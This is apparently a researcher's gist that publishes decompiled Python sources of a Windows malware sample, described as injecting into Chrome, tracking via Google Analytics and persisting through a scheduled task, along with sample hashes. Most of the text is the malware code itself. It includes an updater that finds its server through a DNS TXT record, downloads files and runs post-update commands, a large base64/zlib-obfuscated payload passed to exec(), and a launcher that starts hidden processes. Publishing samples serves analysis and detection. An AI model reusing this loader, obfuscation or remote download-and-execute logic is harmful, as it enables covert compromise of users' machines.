Skip to content

Instantly share code, notes, and snippets.

@seclib
Last active January 4, 2019 18:47
Show Gist options
  • Save seclib/ef28b5cf9aff98613d9ea3db77412f6f to your computer and use it in GitHub Desktop.
Save seclib/ef28b5cf9aff98613d9ea3db77412f6f to your computer and use it in GitHub Desktop.
It injects into Chrome, uses Google analytics for tracking, calls native Windows and COM APIs, and uses a scheduled task for persistence. Python sources and hashes
## uploaded by @satya_enki
## sample hashes: 23a6dea312426fa0f5ec60581c23359b66cd13e2a7c14a5e5d5173dafd0fc476, 9d7b60d008f46894d60800ce6f68533f8f1e5d2613f10512df6786e958d5a7f7
## links:
## https://www.reverse.it/sample/23a6dea312426fa0f5ec60581c23359b66cd13e2a7c14a5e5d5173dafd0fc476?environmentId=100
## https://www.reverse.it/sample/9d7b60d008f46894d60800ce6f68533f8f1e5d2613f10512df6786e958d5a7f7?environmentId=100
## Also mentioned here: http://www.programmersforum.ru/showthread.php?t=310934
## https://forums.malwarebytes.com/topic/200388-removal-instructions-for-fast-approach-tt/
## contents of app.py (49e766121a201104f05d3ebb5fdd9e8f337615c9d3a6177bd83539da8405ecbd):
# Embedded file name: C:\Users\snjax\Documents\projects\go\filter\bin\update.py
import dns.resolver, base64, urllib.request, os, json, os.path, subprocess, sys
from os.path import expandvars
_x = expandvars
os.chdir(os.path.abspath(os.path.dirname(sys.argv[0])))
cnf = json.loads(open(os.path.dirname(os.path.realpath(__file__)) + '\\localconfig.json').read())
DOMAIN = cnf['domain']
SUFFIX = cnf['suffix']
def run_silent(s):
try:
CREATE_NO_WINDOW = 0x08000000
subprocess.call(s, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
def run(s):
try:
subprocess.call(s, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
def s_sha1(filepath):
from hashlib import sha1
from os.path import isfile
if isfile(filepath + '.sha1'):
return open(filepath + '.sha1', 'r').read()
if not isfile(filepath):
return ''
with open(filepath, 'rb') as f:
res = sha1(f.read()).hexdigest()
open(filepath + '.sha1', 'w').write(res)
return res
def main():
from uuid import uuid4
from hashlib import sha1
resolver = dns.resolver.Resolver()
resolver.nameservers = ['8.8.8.8', '8.8.4.4']
answers = resolver.query(DOMAIN, 'TXT')
url = base64.b64decode(answers[0].strings[0]).decode("utf8") + SUFFIX
cid=str(uuid4())
if os.path.isfile("uuid.txt"):
cid=open("uuid.txt").read().strip()
else:
open("uuid.txt", "w").write(cid)
configpath = url + '/config.json?'+cid
config = json.loads(urllib.request.urlopen(configpath).read().decode("utf8"))
is_update = False
for item in config['update']:
if s_sha1(_x(item['to'])).lower() != item['sha1'].lower():
urllib.request.urlretrieve(url + item['from'], _x(item['to']))
res = sha1(open(_x(item['to']), "rb").read()).hexdigest()
open(_x(item['to']) + '.sha1', 'w').write(res)
is_update = True
if is_update:
if 'afterupdate' in config:
for item in config['afterupdate']:
run(_x(item))
main()
## contents of brplugin.py (dfdcf7780fe08a644b98eac56bdfde7fb52dbd40bca4f6df50f2a90ec6e044b1)
import zlib, base64
exec(zlib.decompress(base64.b64decode('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')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
## contents of launchall.py (45013f2390462cc9bae41e611c29e2de9cb3564699da42ac813c8fee71e9495c)
import os, os.path, time, subprocess, winreg, sys, time
from urllib.request import urlopen
from optparse import OptionParser
parser = OptionParser()
parser.disable_interspersed_args()
parser.add_option('--pb', dest='pb', default="")
#parser.add_option('--subid', dest='subid', default="")
opts, args = parser.parse_args()
curDir=os.path.abspath(os.path.dirname(sys.argv[0]))
os.chdir(curDir)
def readOutput(s, tryes=5):
from subprocess import Popen, PIPE, STDOUT
res=''
try:
CREATE_NO_WINDOW = 0x08000000
p = Popen(s, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP, stderr=PIPE, stdout=PIPE, stdin=PIPE)
res=p.stdout.read().decode("utf8").strip(' \t\n\r')
p.stderr.read()
p.communicate()
except:
if (tryes>0):
time.sleep(10)
return readOutput(s, tryes-1)
return res
def run_async(s):
try:
subprocess.Popen(s, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
cmdPrefix=r'python\pythonw brplugin.py'
# def getUserAgent():
# from ctypes import c_int, windll, create_string_buffer, byref
# ua=create_string_buffer(1024)
# sz=c_int(1024)
# ObtainUserAgentString=windll.urlmon.ObtainUserAgentString
# ObtainUserAgentString(0, ua, byref(sz))
# return ua.value.decode("cp1252")
def isWin64():
import ctypes, sys
i = ctypes.c_int()
kernel32 = ctypes.windll.kernel32
process = kernel32.GetCurrentProcess()
kernel32.IsWow64Process(process, ctypes.byref(i))
